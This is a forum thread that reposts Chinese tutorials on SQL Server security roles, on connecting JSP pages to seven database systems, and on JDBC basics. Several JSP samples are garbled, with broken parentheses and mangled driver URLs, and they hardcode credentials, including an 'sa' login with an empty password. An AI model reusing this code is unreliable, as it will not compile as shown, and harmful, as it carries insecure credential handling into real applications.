由此可见，通过NT帐户验证用户时我们可以使用多种实现方法。即使当用户通过IIS跨越Internet连接SQL Server时，选择仍旧存在。因此，你应该把NT验证作为首选的用户身份验证办法。

三、设置全局组
构造安全策略的下一个步骤是确定用户应该属于什么组。通常，每一个组织或应用程序的用户都可以按照他们对数据的特定访问要求分成许多类别。例如，会计应用软件的用户一般包括：数据输入操作员，数据输入管理员，报表编写员，会计师，审计员，财务经理等。每一组用户都有不同的数据库访问要求。

控制数据访问权限最简单的方法是，对于每一组用户，分别地为它创建一个满足该组用户权限要求的、域内全局有效的组。我们既可以为每一个应用分别创建组，也可以创建适用于整个企业的、涵盖广泛用户类别的组。然而，如果你想要能够精确地了解组成员可以做些什么，为每一个应用程序分别创建组是一种较好的选择。例如，在前面的会计系统中，我们应该创建Data Entry Operators、Accounting Data Entry Managers等组。请记住，为了简化管理，最好为组取一个能够明确表示出作用的名字。

除了面向特定应用程序的组之外，我们还需要几个基本组。基本组的成员负责管理服务器。按照习惯，我们可以创建下面这些基本组：SQL Server Administrators，SQL Server Users，SQL Server Denied Users，SQL Server DB Creators，SQL Server Security Operators，SQL Server Database Security Operators，SQL Server Developers，以及 DB_Name Users（其中DB_Name是服务器上一个数据库的名字）。当然，如果必要的话，你还可以创建其他组。

创建了全局组之后，接下来我们可以授予它们访问SQL Server的权限。首先为SQL Server Users创建一个NT验证的登录并授予它登录权限，把Master数据库设置为它的默认数据库，但不要授予它访问任何其他数据库的权限，也不要把这个登录帐户设置为任何服务器角色的成员。接着再为SQL Server Denied Users重复这个过程，但这次要拒绝登录访问。在SQL Server中，拒绝权限始终优先。创建了这两个组之后，我们就有了一种允许或拒绝用户访问服务器的便捷方法。

为那些没有直接在Sysxlogins系统表里面登记的组授权时，我们不能使用Enterpris Managr，因为Enterprise Manager只允许我们从现有登录名字的列表选择，而不是域内所有组的列表。要访问所有的组，请打开Query Analyzer，然后用系统存储过程sp_addsrvrolemember以及sp_addrolemember进行授权。

对于操作服务器的各个组，我们可以用sp_addsrvrolemember存储过程把各个登录加入到合适的服务器角色：SQL Server Administrators成为Sysadmins角色的成员，SQL Server DB Creators成为Dbcreator角色的成员，SQL Server Security Operators成为Securityadmin角色的成员。注意sp_addsrvrolemember存储过程的第一个参数要求是帐户的完整路径。例如，BigCo域的JoeS应该是bigco\joes（如果你想用本地帐户，则路径应该是server_name\joes）。

要创建在所有新数据库中都存在的用户，你可以修改Model数据库。为了简化工作，SQL Server自动把所有对Model数据库的改动复制到新的数据库。只要正确运用Model数据库，我们无需定制每一个新创建的数据库。另外，我们可以用sp_addrolemember存储过程把SQL Server Security Operators加入到db_securityadmin，把SQL Server Developers加入到db_owner角色。

注意我们仍然没有授权任何组或帐户访问数据库。事实上，我们不能通过Enterprise Manager授权数据库访问，因为Enterprise Manager的用户界面只允许我们把数据库访问权限授予合法的登录帐户。SQL Server不要求NT帐户在我们把它设置为数据库角色的成员或分配对象权限之前能够访问数据库，但Enterprise Manager有这种限制。尽管如此，只要我们使用的是sp_addrolemember存储过程而不是Enterprise Manager，就可以在不授予域内NT帐户数据库访问权限的情况下为任意NT帐户分配权限。

到这里为止，对Model数据库的设置已经完成。但是，如果你的用户群体对企业范围内各个应用数据库有着类似的访问要求，你可以把下面这些操作移到Model数据库上进行，而不是在面向特定应用的数据库上进行。

四、允许数据库访问
在数据库内部，与迄今为止我们对登录验证的处理方式不同，我们可以把权限分配给角色而不是直接把它们分配给全局组。这种能力使得我们能够轻松地在安全策略中使用SQL Server验证的登录。即使你从来没有想要使用SQL Server登录帐户，本文仍旧建议分配权限给角色，因为这样你能够为未来可能出现的变化做好准备。

创建了数据库之后，我们可以用sp_grantdbaccess存储过程授权DB_Name Users组访问它。但应该注意的是，与sp_grantdbaccess对应的sp_denydbaccess存储过程并不存在，也就是说，你不能按照拒绝对服务器访问的方法拒绝对数据库的访问。如果要拒绝数据库访问，我们可以创建另外一个名为DB_Name Denied Users的全局组，授权它访问数据库，然后把它设置为db_denydatareader以及db_denydatawriter角色的成员。注意SQL语句权限的分配，这里的角色只限制对对象的访问，但不限制对DDL（Data Definition Language，数据定义语言）命令的访问。

正如对登录过程的处理，如果访问标记中的任意SID已经在Sysusers系统表登记，SQL将允许用户访问数据库。因此，我们既可以通过用户的个人NT帐户SID授权用户访问数据库，也可以通过用户所在的一个（或者多个）组的SID授权。为了简化管理，我们可以创建一个名为DB_Name Users的拥有数据库访问权限的全局组，同时不把访问权授予所有其他的组。这样，我们只需简单地在一个全局组中添加或者删除成员就可以增加或者减少数据库用户。

五、分配权限
实施安全策略的最后一个步骤是创建用户定义的数据库角色，然后分配权限。完成这个步骤最简单的方法是创建一些名字与全局组名字配套的角色。例如对于前面例子中的会计系统，我们可以创建Accounting Data Entry Operators、Accounting Data Entry Managers之类的角色。由于会计数据库中的角色与帐务处理任务有关，你可能想要缩短这些角色的名字。然而，如果角色名字与全局组的名字配套，你可以减少混乱，能够更方便地判断出哪些组属于特定的角色。

创建好角色之后就可以分配权限。在这个过程中，我们只需用到标准的GRANT、REVOKE和DENY命令。但应该注意DENY权限，这个权限优先于所有其他权限。如果用户是任意具有DENY权限的角色或者组的成员，SQL Server将拒绝用户访问对象。

接下来我们就可以加入所有SQL Server验证的登录。用户定义的数据库角色可以包含SQL Server登录以及NT全局组、本地组、个人帐户，这是它最宝贵的特点之一。用户定义的数据库角色可以作为各种登录的通用容器，我们使用用户定义角色而不是直接把权限分配给全局组的主要原因就在于此。

由于内建的角色一般适用于整个数据库而不是单独的对象，因此这里建议你只使用两个内建的数据库角色,，即db_securityadmin和db_owner。其他内建数据库角色，例如db_datareader，它授予对数据库里面所有对象的SELECT权限。虽然你可以用db_datareader角色授予SELECT权限，然后有选择地对个别用户或组拒绝SELECT权限，但使用这种方法时，你可能忘记为某些用户或者对象设置权限。一种更简单、更直接而且不容易出现错误的方法是为这些特殊的用户创建一个用户定义的角色，然后只把那些用户访问对象所需要的权限授予这个用户定义的角色。

六、简化安全管理
SQL Server验证的登录不仅能够方便地实现，而且与NT验证的登录相比，它更容易编写到应用程序里。但是，如果用户的数量超过25，或者服务器数量在一个以上，或者每个用户都可以访问一个以上的数据库，或者数据库有多个管理员，SQL Server验证的登录不容易管理。由于SQL Server没有显示用户有效权限的工具，要记忆每个用户具有哪些权限以及他们为何要得到这些权限就更加困难。即使对于一个数据库管理员还要担负其他责任的小型系统，简化安全策略也有助于减轻问题的复杂程度。因此，首选的方法应该是使用NT验证的登录，然后通过一些精心选择的全局组和数据库角色管理数据库访问。

下面是一些简化安全策略的经验规则：

用户通过SQL Server Users组获得服务器访问，通过DB_Name Users组获得数据库访问。
用户通过加入全局组获得权限，而全局组通过加入角色获得权限，角色直接拥有数据库里的权限。
需要多种权限的用户通过加入多个全局组的方式获得权限。
只要规划得恰当，你能够在域控制器上完成所有的访问和权限维护工作，使得服务器反映出你在域控制器上进行的各种设置调整。虽然实际应用中情况可能有所变化，但本文介绍的基本措施仍旧适用，它们能够帮助你构造出很容易管理的安全策略。

作者: ccwlm741212 时间: 2003-12-15 13:26
《jsp连接数据库大全》
［作者：佚名转贴自：本站原创点击数：4 更新时间：2003-11-26 文章录入：cxmy ］

现在有好多初学jsp的网友经常会问数据库怎么连接啊，怎么老出错啊？所以我集中的在这写篇文章供大家参考，其实这种把数据库逻辑全部放在jsp里未必是好的做法，但是有利于初学者学习，所以我就这样做了，当大家学到一定程度的时候，可以考虑用MVC的模式开发。在练习这些代码的时候，你一定将jdbc的驱动程序放到服务器的类路径里，然后要在数据库里建一个表test,有两个字段比如为test1，test2，可以用下面SQL建
create table test(test1 varchar(20),test2 varchar(20)
然后向这个表写入一条测试纪录
那么现在开始我们的jsp和数据库之旅吧。
一、jsp连接Oracle8/8i/9i数据库（用thin模式）
testoracle.jsp如下：
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("oracle.jdbc.driver.OracleDriver"

.newInstance();
String url="jdbc

racle:thin:@localhost:1521

rcl";
//orcl为你的数据库的SID
String user="scott";
String password="tiger";
Connection conn= DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
您的第一个字段内容为：<%=rs.getString(1)%>
您的第二个字段内容为：<%=rs.getString(2)%>
<%}%>
<%out.print("数据库操作成功，恭喜你"

;%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
二、jsp连接Sql Server7.0/2000数据库
testsqlserver.jsp如下：
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"

.newInstance();
String url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=pubs";
//pubs为你的数据库的
String user="sa";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
您的第一个字段内容为：<%=rs.getString(1)%>
您的第二个字段内容为：<%=rs.getString(2)%>
<%}%>
<%out.print("数据库操作成功，恭喜你"

;%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
三、jsp连接DB2数据库
testdb2.jsp如下：
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("com.ibm.db2.jdbc.app.DB2Driver "

.newInstance();
String url="jdbc:db2://localhost:5000/sample";
//sample为你的数据库名
String user="admin";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
您的第一个字段内容为：<%=rs.getString(1)%>
您的第二个字段内容为：<%=rs.getString(2)%>
<%}%>
<%out.print("数据库操作成功，恭喜你"

;%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
四、jsp连接Informix数据库
testinformix.jsp如下：
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("com.informix.jdbc.IfxDriver"

.newInstance();
String url =
"jdbc:informix-sqli://123.45.67.89:1533/testDB:INFORMIXSERVER=myserver;
user=testuser;password=testpassword";
//testDB为你的数据库名
Connection conn= DriverManager.getConnection(url);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
您的第一个字段内容为：<%=rs.getString(1)%>
您的第二个字段内容为：<%=rs.getString(2)%>
<%}%>
<%out.print("数据库操作成功，恭喜你"

;%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
五、jsp连接Sybase数据库
testmysql.jsp如下：
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("com.sybase.jdbc.SybDriver"

.newInstance();
String url =" jdbc:sybase:Tds:localhost:5007/tsdata";
//tsdata为你的数据库名
Properties sysProps = System.getProperties();
SysProps.put("user","userid"

;
SysProps.put("password","user_password");
Connection conn= DriverManager.getConnection(url, SysProps);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
您的第一个字段内容为：<%=rs.getString(1)%>
您的第二个字段内容为：<%=rs.getString(2)%>
<%}%>
<%out.print("数据库操作成功，恭喜你");%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
六、jsp连接MySQL数据库
testmysql.jsp如下：
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("org.gjt.mm.mysql.Driver").newInstance();
String url ="jdbc:mysql://localhost/softforum?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1"
//testDB为你的数据库名
Connection conn= DriverManager.getConnection(url);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
您的第一个字段内容为：<%=rs.getString(1)%>
您的第二个字段内容为：<%=rs.getString(2)%>
<%}%>
<%out.print("数据库操作成功，恭喜你");%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
七、jsp连接PostgreSQL数据库
testmysql.jsp如下：
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("org.postgresql.Driver").newInstance();
String url ="jdbc

ostgresql://localhost/soft"
//soft为你的数据库名
String user="myuser";
String password="mypassword";
Connection conn= DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
您的第一个字段内容为：<%=rs.getString(1)%>
您的第二个字段内容为：<%=rs.getString(2)%>
<%}%>
<%out.print("数据库操作成功，恭喜你");%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>

作者: ccwlm741212 时间: 2003-12-15 13:27
使用JDBC创建数据库对象》
［作者：佚名转贴自：本站原创点击数：3 更新时间：2003-11-26 文章录入：cxmy ］

James W. Cooper
IBM T.J. Watson 研究中心
1998 年 5 月

摘自：Java 1.1 中面向对象编程的原理

　

摘要
本文分析了Java DataBase Connectivity (JDBC)，一个在 Java 中以面向对象的方法来连接数据库的技术。它是对 ODBC API 进行的一种面向对象的封装和重新设计，它易于学习和使用，并且它能够使您编写不依赖供应商的代码，用以查询和操纵数据库。JDBC 提供了一些相当低层的方法来存取数据库，同时也在相当高层提供了功能强大的对象来处理数据库。

什么是数据库？
数据库是以某种文件结构存储的一系列信息表，这种文件结构使您能够访问这些表、选择表中的列、对表进行排序以及根据各种标准选择行。数据库通常有多个索引与这些表中的许多列相关联，所以我们能尽可能快地访问这些表。
在进行计算时，数据库比其它类型的结构更常用。您会发现在员工记录和薪资系统中数据库处于核心地位，在旅行计划系统中以及在产品生产和销售的整个过程中都可以发现数据库。

以员工记录为例，您可以设想一个含有员工姓名、地址、工资、扣税以及津贴等内容的表。让我们考虑一下这些内容可能如何组织在一起。您可以设想一个表包含员工姓名、地址和电话号码。您希望保存的其它信息可能包括工资、工资范围、上次加薪时间、下次加薪时间、员工业绩评定等内容。

这些内容是否应保存在一个表格中？几乎可以肯定不应该如此。不同类别的员工的工资范围可能没有区别；这样，您可以仅将员工类型储存在员工记录表中，而将工资范围储存在另一个表中，通过类型编号与这个表关联。考虑以下情况：

Key Lastname SalaryType SalaryType Min Max
1 Adams 2 1 30000 45000
2 Johnson 1 2 45000 60000
3 Smyth 3 3 60000 75000
4 Tully 1
5 Wolff 2

SalaryType 列中的数据引用第二个表。我们可以想象出许多种这样的表，如用于存储居住城市和每个城市的税值、健康计划扣除金额等的表。每个表都有一个主键列（如上面两个表中最左边的列）和若干数据列。在数据库中建立表格既是一门艺术，也是一门科学。这些表的结构由它们的范式指出。我们通常说表属于第一、第二或第三范式，简称为 1NF、2NF 或 3NF。

第一范式：表中的每个表元应该只有一个值（永远不可能是一个数组）。(1NF)

第二范式：满足 1NF，并且每一个副键列完全依赖于主键列。这表示主键和该行中的剩余表元之间是 1 对 1 的关系。(2NF)

第三范式：满足 2NF，并且所有副键列是互相独立的。任何一个数据列中包含的值都不能从其他列的数据计算得到。(3NF)

现在，几乎所有的数据库都是基于“第三范式 (3NF)”创建的。这意味着通常都有相当多的表，每个表中的信息列都相对较少。

从数据库中获取数据
假设我们希望生成一个包含员工及其工资范围的表，在我们设计的一个练习中将使用这个表。这个表格不是直接存在在数据库中，但可以通过向数据库发出一个查询来构建它。我们希望得到如下所示的一个表：

Name Min Max
Adams $45,000.00 $60,000.00
Johnson $30,000.00 $45,000.00
Smyth $60,000.00 $75,000.00
Tully $30,000.00 $45,000.00
Wolff $45,000.00 $60,000.00

或者，按照工资递增的顺序排序

Name Min Max
Tully $30,000.00 $45,000.00
Johnson $30,000.00 $45,000.00
Wolff $45,000.00 $60,000.00
Adams $45,000.00 $60,000.00
Smyth $60,000.00 $75,000.00

我们发现，获得这些表的查询形式如下所示

SELECT DISTINCTROW Employees.Name, SalaryRanges.Min,
SalaryRanges.Max FROM Employees INNER JOIN SalaryRanges ON Employees.SalaryKey = SalaryRanges.SalaryKey
ORDER BY SalaryRanges.Min;

这种语言称为结构化查询语言，即 SQL（一般读作 "sequel"），而且它是几乎目前所有数据库都可以使用的一种语言。这几年已颁布了若于 SQL 标准，而且大多数 PC 数据库支持大部分 ANSI 标准。SQL-92 标准被认为是一种基础标准，而且已更新多次。然而，没有一种数据库可以完美地支持后来的 SQL 版本，而且大多数数据库都提供了多种 SQL 扩展，以支持他们数据库独有的性能。
数据库的种类
由于 PC 已成为主要的办公工具，因此，已开发出在 PC 上的大量流行的数据库，这些数据库都是可以自管理的。它们包括初级数据库，如 Microsoft Works，还包括更为复杂的数据库，如 Approach、 dBase、Borland Paradox、Microsoft Access 和 FoxBase。
另一类 PC 数据库包括那些可由许多 PC 客户机通过服务器访问的数据库。其中包括 IBM DB/2、Microsoft SQL Server、 Oracle、Sybase、SQLBase 和 XDB。所有这些数据库产品都支持多种相对类似的 SQL 方言，因此，所有数据库最初看起来好象可以互换。当然，它们不能互换的原因是每种数据库都有不同的性能特征，而且每一种都有不同的用户界面和编程接口。您可能会想，既然它们都支持 SQL，对它们进行的编程也应该相似，但这是绝对错误的，因为每种数据库都使用其自己方式接收 SQL 查询，并使用其自己的方式返回结果。这就自然引出了一种新一代的标准：ODBC

ODBC
如果我们能够以某种方式编写不依赖于特定厂商的数据库的代码，并且能够不改变自己的调用程序即可从这些数据库中得到相同的结果，那将是一件很好的事。如果我们可以仅为所有这些数据库编写一些封装，使它们具有相似的编程接口，这种对数据库编程独立于供应商的特性将很容易实现。
Microsoft 于 1992 年首先尝试了这一技巧，该公司发布了一个规范，称为对象数据库连接性。这被认为是在 Windows 环境下连接所有数据库的答案。与所有软件的第一个版本相同，它也经历了一些发展的困扰，在 1994 年推出了另一个版本，该版本运行速度更快，而且更为稳定。它也是第一个 32 位的版本。另外，ODBC 开始向 Windows 之外的其它平台发展，到目前为止，它在 PC 和工作站领域已十分普遍。几乎每个主要的数据库厂商都提供 ODBC 驱动程序。

然而，ODBC 并不是我们最初想象的灵丹妙药。许多数据库厂商都将 ODBC 作为其标准接口之外的“备选接口”，而且对 ODBC 的编程微不足道。与其它 Windows 编程一样，它包括句柄、指针和选项，使其难以掌握。最后一点，ODBC 不是中立的标准。它由 Microsoft 公司开发，并由该公司不断改进，而微软同时也推出了我们所有人所使用的极具竞争性的软件平台,这使得ODBC的未来难以预测。

什么是 JDBC？
JDBC 是一组首字母缩写，曾经代表“Java DataBase Connectivity”，但现在它本身已成为一个商标符号。它是对 ODBC API 进行的一种面向对象的封装和重新设计，它易于学习和使用，并且它真正能够使您编写不依赖厂商的代码，用以查询和操纵数据库。尽管它与所有 Java API 一样，都是面向对象的，但它并不是很高级别的对象集，在本章的剩余部分，我们将提出更高级别的方法。
除 Microsoft 之外，多数厂商都采用了 JDBC，并为其数据库提供了 JDBC 驱动程序；这使您可轻松地真正编写几乎完全不依赖数据库的代码。另外，JavaSoft 和 Intersolv 已开发了一种称为 JDBC-ODBC Bridge 的产品，可使您连接还没有直接的 JDBC 驱动程序的数据库。支持 JDBC 的所有数据库必须至少可以支持 SQL-92 标准。这在很大程度上实现了跨数据库和平台的可移植性。

安装和使用 JDBC
JDBC 的类都被归到 java.sql 包中，在安装 Java JDK 1.1 或更高版本时会自动安装。然而，如果您想使用 JDBC-ODBC 桥，还必须安装两个另外的程序包。首先，如果您使用 Windows 95，则必须将您的 ODBC 驱动程序升级为 32 位驱动程序，您可从 Microsoft 的网站下载。这个驱动程序在 Microsoft 的网站上很难找到；请搜索 DataAcc.exe 并进行下载和安装。
JDBC-ODBC 驱动程序可从 Sun 的 Java 网站 (http://java.sun.com) 轻松地找到并下载。在您扩充并安装了这个驱动程序后，必须执行下列步骤：

将 \jdbc-odbc\classes; 路径添加到您的 PATH 环境变量中。
将 \jdbc-odbc\classes; 路径添加到您的 CLASSPATH 环境变量中。
在 Windows 95 环境下，将它们放入 autoexec.bat 文件中，重新引导，以使所有设置生效。
在 Windows NT 环境下，将它们添加到“控制面板”中“系统”对象的“环境”选项卡中，退出并重新登录，以使其生效。
JDBC 驱动程序的类型
Java 程序连接数据库的方法实际上有四种：
JDBC-ODBC 桥和 ODBC 驱动程序 -- 在这种方式下，这是一个本地解决方案，因为 ODBC 驱动程序和桥代码必须出现在用户的每台机器中。从根本上说这是一个临时解决方案。

本机代码和 Java 驱动程序 -- 它用另一个本地解决方案（该平台上的 Java 可调用的本机代码）取代 ODBC 和 JDBC-ODBC 桥。

JDBC 网络的纯 Java 驱动程序 -- 由 Java 驱动程序翻译的 JDBC 形成传送给服务器的独立协议。然后，服务器可连接任何数量的数据库。这种方法使您可能从客户机 Applet 中调用服务器，并将结果返回到您的 Applet。在这种情况下，中间件软件提供商可提供服务器。

本机协议 Java 驱动程序 -- Java 驱动程序直接转换为该数据库的协议并进行调用。这种方法也可以通过网络使用，而且可以在 Web 浏览器的 Applet 中显示结果。在这种情况下，每个数据库厂商将提供驱动程序。
如果您希望编写代码来处理 PC 客户机数据库，如 dBase、Foxbase 或 Access，则您可能会使用第一种方法，并且拥有用户机器上的所有代码。更大的客户机-服务器数据库产品（如 IBM 的 DB2）已提供了第 3 级别的驱动程序。
两层模型和三层模型
当数据库和查询它的应用程序在同一台机器上，而且没有服务器代码的干预时，我们将生成的程序称为两层模型。一层是应用程序，而另一层是数据库。在 JDBC-ODBC 桥系统中通常是这种情况。
当一个应用程序或 applet 调用服务器，服务器再去调用数据库时，我们称其为三层模型。当您调用称为“服务器”的程序时通常是这种情况。

编写 JDBC 代码访问数据库
现在，我们将开始看一下如何编写 Java 程序来访问数据库。我们要使用的数据库是一个称为 groceries.mdb 的 Microsoft Access 数据库。此数据库中的数据由三个本地杂货店中一些常见商品的价格组成。食品表如下所示：

FoodKey FoodName
1 Apples
2 Oranges
3 Hamburger
4 Butter
5 Milk
6 Cola
7 Green beans

杂货店表如下所示：

StoreKey StoreName
1 Stop and Shop
2 Village Market
3 Waldbaum′s

杂货店定价表仅由这三个表格中的键值和价格组成：

FSKey StoreKey FoodKey Price
1 1 1 $0.27
2 2 1 $0.29
3 3 1 $0.33
4 1 2 $0.36
5 2 2 $0.29
6 3 2 $0.47
7 1 3 $1.98
8 2 3 $2.45
9 3 3 $2.29
10 1 4 $2.39
11 2 4 $2.99
12 3 4 $3.29
13 1 5 $1.98
14 2 5 $1.79
15 3 5 $1.89
16 1 6 $2.65
17 2 6 $3.79
18 3 6 $2.99
19 1 7 $2.29
20 2 7 $2.19
21 3 7 $1.99

用 ODBC 注册您的数据库
在 Windows 95 或 NT 环境下访问 ODBC 数据库之前，必须使用控制面板中的ODBC 驱动程序对它进行注册。在 Windows 95 环境下，就是“控制面板”程序中的 ODBC 图标。在 Windows NT 环境下，您会在“开始”菜单中找到此程序。（如果找不到，您需要安装上述的 ODBC 驱动程序，即 WX1350.exe）。
双击 ODBC 图标，然后单击“添加”，如图 1 所示。然后选择数据库驱动程序（此处使用 Microsoft Access），然后单击“确定”。在“数据源名”和“描述”中分别键入数据源名称 (Groceries) 和数据库说明 (Grocery prices)（这两项都不需要和文件名相关），然后单击“选取”，找到数据库，并选择该数据库。找到该数据库后，屏幕将如图 2 所示。单击“确定”，然后单击“关闭”来关闭面板。

图 1：ODBC 控制面板设置屏幕。

图 2：在 ODBC 控制面板中选择数据库和说明。

连接数据库
所有与数据库有关的对象和方法都在 java.sql 包中，因此在使用 JDBC 的程序中必须加入 "import java.sql.* "。 JDBC 要连接 ODBC 数据库，您必须首先加载 JDBC-ODBC 桥驱动程序
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"

;

该语句加载驱动程序，并创建该类的一个实例。然后，要连接一个特定的数据库，您必须创建 Connect 类的一个实例，并使用 URL 语法连接数据库。
String url = "jdbc

dbc:Grocery prices";
Connection con = DriverManager.getConnection(url);

请注意，您使用的数据库名是您在 ODBC 设置面板中输入的“数据源”名称。
URL 语法可能因数据库类型的不同而变化极大。

jdbc:subprotocol:subname

第一组字符代表连接协议，并且始终是 jdbc。还可能有一个子协议，在此处，子协议被指定为 odbc。它规定了一类数据库的连通性机制。如果您要连接其它机器上的数据库服务器，可能也要指定该机器和一个子目录：
jdbc:bark//doggie/elliott

最后，您可能要指定用户名和口令，作为连接字符串的一部分：
jdbc:bark//doggie/elliot;UID=GoodDog;PWD=woof

访问数据库
一旦连接到数据库，就可以请求表名以及表列的名称和内容等信息，而且您可以运行 SQL 语句来查询数据库或者添加或修改其内容。可用来从数据库中获取信息的对象有：

DatabaseMetaData 有关整个数据库的信息：表名、表的索引、数据库产品的名称和版本、数据库支持的操作。
ResultSet 关于某个表的信息或一个查询的结果。您必须逐行访问数据行，但是您可以任何顺序访问列。
ResultSetMetaData 有关 ResultSet 中列的名称和类型的信息。

尽管每个对象都有大量的方法让您获得数据库元素的极为详细的信息，但在每个对象中都有几种主要的方法使您可获得数据的最重要信息。然而，如果您希望看到比此处更多的信息，建议您学习文档以获得其余方法的说明。

ResultSet
ResultSet 对象是 JDBC 中最重要的单个对象。从本质上讲，它是对一个一般宽度和未知长度的表的一种抽象。几乎所有的方法和查询都将数据作为 ResultSet 返回。ResultSet 包含任意数量的命名列，您可以按名称访问这些列。它还包含一个或多个行，您可以按顺序自上而下逐一访问。在您使用 ResultSet 之前，必须查询它包含多少个列。此信息存储在 ResultSetMetaData 对象中。
　

//从元数据中获得列数
ResultSetMetaData rsmd;
rsmd = results.getMetaData();
numCols = rsmd.getColumnCount();

当您获得一个 ResultSet 时，它正好指向第一行之前的位置。您可以使用 next() 方法得到其他每一行，当没有更多行时，该方法会返回 false。由于从数据库中获取数据可能会导致错误，您必须始终将结果集处理语句包括在一个 try 块中。

try
{
rsmd = results.getMetaData();
numCols = rsmd.getColumnCount();
boolean more = results.next();
while (more)
{
for (I = 1; I <= numCols; i++)
System.out.print(results.getString(i)+" "

;
System.out.println();
more = results.next();
}
results.close();
}
catch(Exception e)
{System.out.println(e.getMessage());}

您可以多种形式获取 ResultSet 中的数据，这取决于每个列中存储的数据类型。另外，您可以按列序号或列名获取列的内容。请注意，列序号从 1 开始，而不是从 0 开始。ResultSet 对象的一些最常用方法如下所示。

getInt(int);

将序号为 int 的列的内容作为整数返回。
getInt(String);

将名称为 String 的列的内容作为整数返回。
getFloat(int);

将序号为 int 的列的内容作为一个 float 型数返回。
getFloat(String);

将名称为 String 的列的内容作为 float 型数返回。
getDate(int);

将序号为 int 的列的内容作为日期返回。
getDate(String);

将名称为 String 的列的内容作为日期返回。
next();

将行指针移到下一行。如果没有剩余行，则返回 false。
close();

关闭结果集。
getMetaData();

返回 ResultSetMetaData 对象。

ResultSetMetaData
您使用 getMetaData() 方法从 ResultSet 中获取 ResultSetMetaData 对象。您可以使用此对象获得列的数目和类型以及每一列的名称。

getColumnCount();

返回 ResultSet 中的列数。
getColumnName(int);

返回列序号为 int 的列名。
getColumnLabel(int);

返回此列暗含的标签。
isCurrency(int);

如果此列包含带有货币单位的一个数字，则返回 true。
isReadOnly(int);

如果此列为只读，则返回 true。
isAutoIncrement(int);

如果此列自动递增，则返回 true。这类列通常为键，而且始终是只读的。
getColumnType(int);

返回此列的 SQL 数据类型。这些数据类型包括
BIGINT
BINARY
BIT
CHAR
DATE
DECIMAL
DOUBLE
FLOAT
INTEGER
LONGVARBINARY
LONGVARCHAR
NULL
NUMERIC
OTHER
REAL
SMALLINT
TIME
TIMESTAMP
TINYINT
VARBINARY
VARCHAR

作者: ccwlm741212 时间: 2003-12-15 13:27
DatabaseMetaData
DatabaseMetaData 对象可为您提供整个数据库的信息。您主要用它获取数据库中表的名称，以及表中列的名称。由于不同的数据库支持不同的 SQL 变体，因此，也有多种方法查询数据库支持哪些 SQL 方法。

getCatalogs()

返回该数据库中的信息目录列表。使用 JDBC-ODBC Bridge 驱动程序，您可以获得用 ODBC 注册的数据库列表。这很少用于 JDBC-ODBC 数据库。
getTables(catalog, schema, tableNames, columnNames) 返回表名与 tableNames 相符而且列名与 columnNames 相符的所有表的说明。
getColumns(catalog, schema, tableNames, columnNames) 返回表名与 tableNames 相符而且列名与 columnNames 相符的所有表列说明。
getURL();

获得您所连接的 URL 名称。
getDriverName();

获得您所连接的数据库驱动程序的名称。

获取有关表的信息
您可以使用 DataBaseMetaData 的 getTables() 方法来获取数据库中表的信息。这个方法有如下 4 个 String 参数：
results =
dma.getTables(catalog, schema, tablemask, types[]);

其中参数的意义是：

catalog

要在其中查找表名的目录名。对于 JDBC-ODBC 数据库以及许多其他数据库而言，可将其设置为 null。这些数据库的目录项实际上是它在文件系统中的绝对路径名称。
schema

要包括的数据库“方案”。许多数据库不支持方案，而对另一些数据库而言，它代表数据库所有者的用户名。一般将它设置为 null。
tablemask

一个掩码，用来描述您要检索的表的名称。如果您希望检索所有表名，则将其设为通配符 %。请注意，SQL 中的通配符是 % 符号，而不是一般 PC 用户的 * 符号。
types[]

